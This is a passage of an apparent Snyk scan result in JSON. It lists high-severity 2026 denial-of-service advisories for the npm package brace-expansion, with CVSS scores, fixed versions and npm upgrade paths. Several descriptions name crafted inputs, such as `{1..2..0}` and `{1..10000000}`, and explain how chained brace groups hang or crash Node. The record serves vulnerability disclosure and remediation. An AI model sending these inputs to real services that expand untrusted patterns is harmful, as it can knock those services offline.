Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Infinite loop through the `expand` function when processing a brace pattern with a zero step value. An attacker can cause the process to hang and exhaust system memory by supplying specially crafted input, such as `{1..2..0}`. This can lead to significant resource consumption and denial of service. \r\n\r\n## Workaround \r\n\r\nThis vulnerability can be mitigated by sanitizing strings passed to `expand` to ensure a step value of `0` is not used.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.13, 2.0.3, 3.0.2, 5.0.5 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-f886-m6hf-6m8v)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/311ac0d54994158c0a384e286a7d6cbb17ee8ed5)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/7fd684f89fdde3549563d0a6522226a9189472a2)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/9a02af5c5c80731fae470cc3218c16876bb25051)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/b9cacd9e55e7a1fa588fe4b7bb1159d52f1d902a)\n- [Vulnerable Code](https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts#L107-L113)\n- [Vulnerable Code](https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts#L184)\n", "epssDetails": { "percentile": "0.34118", "probability": "0.00430", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-33750" ], "CWE": [ "CWE-835" ], "GHSA": [ "GHSA-f886-m6hf-6m8v" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-03-27T07:45:56.244707Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-03-26T18:29:42Z", "exploitDetails": { "sources": [], "maturityLevels": [ { "type": "secondary", "level": "Not Defined", "format": "CVSSv3" }, { "type": "primary", "level": "Not Defined", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-03-27T07:45:56.429154Z", "severityBasedOn": "CVSS", "modificationTime": "2026-07-16T02:01:19.320993Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmfund@7.0.17", "@npmcli/arborist@9.4.0", "@npmcli/metavuln-calculator@9.0.3", "pacote@21.4.0", "@npmcli/run-script@10.0.3", "node-gyp@12.2.0", "make-fetch-happen@15.0.4", "cacache@20.0.3", "glob@13.0.6", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "libnpmfund@7.0.26", "@npmcli/arborist@9.9.1", "@npmcli/metavuln-calculator@9.0.3", "pacote@21.5.1", "@npmcli/run-script@10.0.4", "node-gyp@12.4.0" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-16755174", "title": "Allocation of Resources Without Limits or Throttling", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "credit": [ "Subhash Dasyam" ], "semver": { "vulnerable": [ ">=5.0.2 <5.0.6" ] }, "exploit": "Not Defined", "fixedIn": [ "5.0.6" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-jxxr-4gwj-5jf2", "title": "GitHub Advisory" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/c0b095bdc52bc4c36dc88deddbadabc49f8371e5", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 6.5, "modificationTime": "2026-06-17T06:25:12.562488Z" }, { "assigner": "NVD", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-06-04T01:21:30.391276Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-08-18T02:01:26.570047Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-18T02:01:26.570047Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "medium", "baseScore": 6.5, "cvssVersion": "3.1", "modificationTime": "2026-06-17T06:25:12.562488Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "NVD", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-06-04T01:21:30.391276Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling through the `max` option being applied after generating all elements in a large numeric range. An attacker can exhaust system memory and processing resources by submitting input such as `{1..10000000}` that causes excessive allocation and computation before the output is limited.\r\n\r\n## Workaround \r\n\r\nThis vulnerability can be mitigated by ensuring the string to be expanded does not contain more values than the desired `max` item count.\n## Remediation\nUpgrade `brace-expansion` to version 5.0.6 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-jxxr-4gwj-5jf2)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/c0b095bdc52bc4c36dc88deddbadabc49f8371e5)\n", "epssDetails": { "percentile": "0.22128", "probability": "0.00300", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-45149" ], "CWE": [ "CWE-770" ], "GHSA": [ "GHSA-jxxr-4gwj-5jf2" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-05-19T09:10:10.822382Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-05-18T16:22:01Z", "exploitDetails": { "sources": [], "maturityLevels": [ { "type": "secondary", "level": "Not Defined", "format": "CVSSv3" }, { "type": "primary", "level": "Not Defined", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-05-19T09:10:11.009629Z", "severityBasedOn": "CVSS", "modificationTime": "2026-08-18T02:01:26.570047Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmfund@7.0.17", "@npmcli/arborist@9.4.0", "@npmcli/metavuln-calculator@9.0.3", "pacote@21.4.0", "@npmcli/run-script@10.0.3", "node-gyp@12.2.0", "make-fetch-happen@15.0.4", "cacache@20.0.3", "glob@13.0.6", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "libnpmfund@7.0.26", "@npmcli/arborist@9.9.1", "@npmcli/metavuln-calculator@9.0.3", "pacote@21.5.1", "@npmcli/run-script@10.0.4", "node-gyp@12.4.0" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-17706650", "title": "Inefficient Algorithmic Complexity", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "credit": [ "Unknown" ], "semver": { "vulnerable": [ "<1.1.16", ">=2.0.0 <2.1.2", ">=3.0.0 <5.0.7" ] }, "exploit": "Not Defined", "fixedIn": [ "1.1.16", "2.1.2", "5.0.7" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/commit/c7e33ec13ac1a684c116720843ce24e208611754", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/d74e63030c012e3b7ae81657b8d665619cd51b95", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-07-01T06:56:21.683579Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-08-24T14:04:38.442182Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-24T14:04:38.442182Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-07-01T06:56:21.683579Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Inefficient Algorithmic Complexity via the `expand` function. An attacker can cause excessive CPU consumption and block the event loop by supplying a specially crafted string containing multiple consecutive non-expanding '{}' brace groups. The `max` option does not prevent this issue, as it only limits the output size and not the computational workload.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.16, 2.1.2, 5.0.7 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/c7e33ec13ac1a684c116720843ce24e208611754)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/d74e63030c012e3b7ae81657b8d665619cd51b95)\n", "epssDetails": { "percentile": "0.29069", "probability": "0.00364", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-13149" ], "CWE": [ "CWE-407" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-06-30T11:38:19.757696Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-06-30T11:25:01Z", "exploitDetails": { "sources": [], "maturityLevels": [ { "type": "secondary", "level": "Not Defined", "format": "CVSSv3" }, { "type": "primary", "level": "Not Defined", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-06-30T11:38:19.961909Z", "severityBasedOn": "CVSS", "modificationTime": "2026-08-24T14:04:38.442182Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmfund@7.0.17", "@npmcli/arborist@9.4.0", "@npmcli/metavuln-calculator@9.0.3", "pacote@21.4.0", "@npmcli/run-script@10.0.3", "node-gyp@12.2.0", "make-fetch-happen@15.0.4", "cacache@20.0.3", "glob@13.0.6", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "libnpmfund@7.0.26", "@npmcli/arborist@9.9.1", "@npmcli/metavuln-calculator@9.0.3", "pacote@21.5.1", "@npmcli/run-script@10.0.4", "node-gyp@12.4.0" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-18313044", "title": "Allocation of Resources Without Limits or Throttling", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "bnbdr" ], "semver": { "vulnerable": [ "<1.1.16", ">=2.0.0 <2.1.2", ">=3.0.0 <5.0.8" ] }, "exploit": "Proof of Concept", "fixedIn": [ "1.1.16", "2.1.2", "5.0.8" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/commit/a1bd33999ea75262c4749fff3bbb0d1372bd07b5", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-08-05T05:35:10.598547Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-08-24T14:06:14.560643Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-24T14:06:14.560643Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-05T05:35:10.598547Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling in the `expand()` function and its recursive `expand_` helper, which cap the number of results via the `max` option but do not bound the length of each result string. An attacker can crash the Node process with a fatal, uncatchable out-of-memory error by supplying a pattern that chains many brace groups, such as `{a,b}` repeated, keeping the result count under `max` while each result grows with the group count so total output scales unbounded. Exploitation requires the application to pass untrusted input to `expand()`, directly or transitively through `minimatch` or `glob` brace patterns.\r\n\r\n## Workaround\r\n\r\nThis vulnerability can be avoided by passing small explicit `max` and `maxLength` options to `expand()`, bounding both the number of results and the length of each so total output stays limited.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.16, 2.1.2, 5.0.8 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/a1bd33999ea75262c4749fff3bbb0d1372bd07b5)\n", "epssDetails": { "percentile": "0.38245", "probability": "0.00466", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-14257" ], "CWE": [ "CWE-770" ], "GHSA": [ "GHSA-mh99-v99m-4gvg" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-07-26T09:53:40.727617Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-07-23T15:49:26Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-07-26T09:53:40.907374Z", "severityBasedOn": "CVSS", "modificationTime": "2026-08-24T14:06:14.560643Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmfund@7.0.17", "@npmcli/arborist@9.4.0", "@npmcli/metavuln-calculator@9.0.3", "pacote@21.4.0", "@npmcli/run-script@10.0.3", "node-gyp@12.2.0", "make-fetch-happen@15.0.4", "cacache@20.0.3", "glob@13.0.6", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "libnpmfund@7.0.26", "@npmcli/arborist@9.9.1", "@npmcli/metavuln-calculator@9.0.3", "pacote@21.5.1", "@npmcli/run-script@10.0.4", "node-gyp@12.4.0" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-18512280", "title": "Allocation of Resources Without Limits or Throttling", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "Alessio Della Libera" ], "semver": { "vulnerable": [ "<1.1.18", ">=2.0.0 <2.1.4", ">=3.0.0 <3.0.6", ">=4.0.0 <5.0.9" ] }, "exploit": "Proof of Concept", "fixedIn": [ "1.1.18", "2.1.4", "3.0.6", "5.0.9" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-rgw5-rvv9-x895", "title": "GitHub Advisory" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/139d015104e71433ad52a41d19467c48ecbb2c7d", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/1e30c930238d7162802d88a94189182def178dac", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/688a99eeaab02627c2b89ba8ba4821fecfa659cf", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/cb4b9e47cc2ec777c14b2b4492fb431a56f6a031", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-08-04T05:26:55.391275Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-08-24T14:06:37.934109Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-24T14:06:37.934109Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-04T05:26:55.391275Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling in the `expand()`, `expand_()`, `combine()`, and `expandSequence()` functions, which bound the accumulator where results are combined but not the intermediate arrays that feed it. An attacker can crash the process with an uncatchable out-of-memory error, or stall the event loop for minutes, by supplying a pattern with many comma-separated alternatives that each receive an independent `maxLength` allowance and accumulate without a cumulative limit, or a padded sequence whose generation ignores `maxLength` and does work proportional to `max * width`. Exploitation requires the application to pass untrusted input to `expand()`, directly or transitively through a glob or pattern-matching library.\r\n\r\n## Workaround\r\n\r\nThis vulnerability can be avoided by passing an explicitly small `max` together with a small `maxLength` to `expand()`, bounding both the result count and length, since a small `maxLength` alone is insufficient on affected versions where it is applied per alternative rather than cumulatively.\r\n\r\n**Note:** This is a bypass of the fix for the vulnerability described in [CVE-2026-14257](https://security.snyk.io/vuln/SNYK-JS-BRACEEXPANSION-18313044).\n## Remediation\nUpgrade `brace-expansion` to version 1.1.18, 2.1.4, 3.0.6, 5.0.9 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-rgw5-rvv9-x895)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/139d015104e71433ad52a41d19467c48ecbb2c7d)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/1e30c930238d7162802d88a94189182def178dac)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/688a99eeaab02627c2b89ba8ba4821fecfa659cf)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/cb4b9e47cc2ec777c14b2b4492fb431a56f6a031)\n", "epssDetails": { "percentile": "0.47168", "probability": "0.00623", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-69152" ], "CWE": [ "CWE-770" ], "GHSA": [ "GHSA-rgw5-rvv9-x895" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-08-03T18:50:29.684875Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-08-03T16:35:32Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-08-03T18:50:29.862827Z", "severityBasedOn": "CVSS", "modificationTime": "2026-08-24T14:06:37.934109Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmfund@7.0.17", "@npmcli/arborist@9.4.0", "@npmcli/metavuln-calculator@9.0.3", "pacote@21.4.0", "@npmcli/run-script@10.0.3", "node-gyp@12.2.0", "make-fetch-happen@15.0.4", "cacache@20.0.3", "glob@13.0.6", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "libnpmfund@7.0.26", "@npmcli/arborist@9.9.1", "@npmcli/metavuln-calculator@9.0.3", "pacote@21.5.1", "@npmcli/run-script@10.0.4", "node-gyp@12.4.0" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-15789759", "title": "Infinite loop", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "credit": [ "Subhash Dasyam" ], "semver": { "vulnerable": [ "<1.1.13", ">=2.0.0 <2.0.3", ">=3.0.0 <3.0.2", ">=4.0.0 <5.0.5" ] }, "exploit": "Not Defined", "fixedIn": [ "1.1.13", "2.0.3", "3.0.2", "5.0.5" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-f886-m6hf-6m8v", "title": "GitHub Advisory" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/311ac0d54994158c0a384e286a7d6cbb17ee8ed5", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/7fd684f89fdde3549563d0a6522226a9189472a2", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/9a02af5c5c80731fae470cc3218c16876bb25051", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/b9cacd9e55e7a1fa588fe4b7bb1159d52f1d902a", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts%23L107-L113", "title": "Vulnerable Code" }, { "url": "https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts%23L184", "title": "Vulnerable Code" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 6.5, "modificationTime": "2026-04-03T12:57:19.951777Z" }, { "assigner": "NVD", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-04-22T17:49:48.167901Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-07-16T02:01:19.320993Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-07-16T02:01:19.320993Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "medium", "baseScore": 6.5, "cvssVersion": "3.1", "modificationTime": "2026-04-03T12:57:19.951777Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "NVD", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-04-22T17:49:48.167901Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Infinite loop through the `expand` function when processing a brace pattern with a zero step value. An attacker can cause the process to hang and exhaust system memory by supplying specially crafted input, such as `{1..2..0}`. This can lead to significant resource consumption and denial of service. \r\n\r\n## Workaround \r\n\r\nThis vulnerability can be mitigated by sanitizing strings passed to `expand` to ensure a step value of `0` is not used.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.13, 2.0.3, 3.0.2, 5.0.5 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-f886-m6hf-6m8v)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/311ac0d54994158c0a384e286a7d6cbb17ee8ed5)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/7fd684f89fdde3549563d0a6522226a9189472a2)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/9a02af5c5c80731fae470cc3218c16876bb25051)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/b9cacd9e55e7a1fa588fe4b7bb1159d52f1d902a)\n- [Vulnerable Code](https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts#L107-L113)\n- [Vulnerable Code](https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts#L184)\n", "epssDetails": { "percentile": "0.34118", "probability": "0.00430", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-33750" ], "CWE": [ "CWE-835" ], "GHSA": [ "GHSA-f886-m6hf-6m8v" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-03-27T07:45:56.244707Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-03-26T18:29:42Z", "exploitDetails": { "sources": [], "maturityLevels": [ { "type": "secondary", "level": "Not Defined", "format": "CVSSv3" }, { "type": "primary", "level": "Not Defined", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-03-27T07:45:56.429154Z", "severityBasedOn": "CVSS", "modificationTime": "2026-07-16T02:01:19.320993Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmpack@9.1.3", "@npmcli/arborist@9.4.0", "@npmcli/metavuln-calculator@9.0.3", "pacote@21.4.0", "@npmcli/run-script@10.0.3", "node-gyp@12.2.0", "make-fetch-happen@15.0.4", "cacache@20.0.3", "glob@13.0.6", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "libnpmpack@9.1.13", "@npmcli/arborist@9.9.1", "@npmcli/metavuln-calculator@9.0.3", "pacote@21.5.1", "@npmcli/run-script@10.0.4", "node-gyp@12.4.0" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-16755174", "title": "Allocation of Resources Without Limits or Throttling", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "credit": [ "Subhash Dasyam" ], "semver": { "vulnerable": [ ">=5.0.2 <5.0.6" ] }, "exploit": "Not Defined", "fixedIn": [ "5.0.6" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-jxxr-4gwj-5jf2", "title": "GitHub Advisory" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/c0b095bdc52bc4c36dc88deddbadabc49f8371e5", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 6.5, "modificationTime": "2026-06-17T06:25:12.562488Z" }, { "assigner": "NVD", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-06-04T01:21:30.391276Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-08-18T02:01:26.570047Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-18T02:01:26.570047Z" }, { "type": "secondary", "vector": 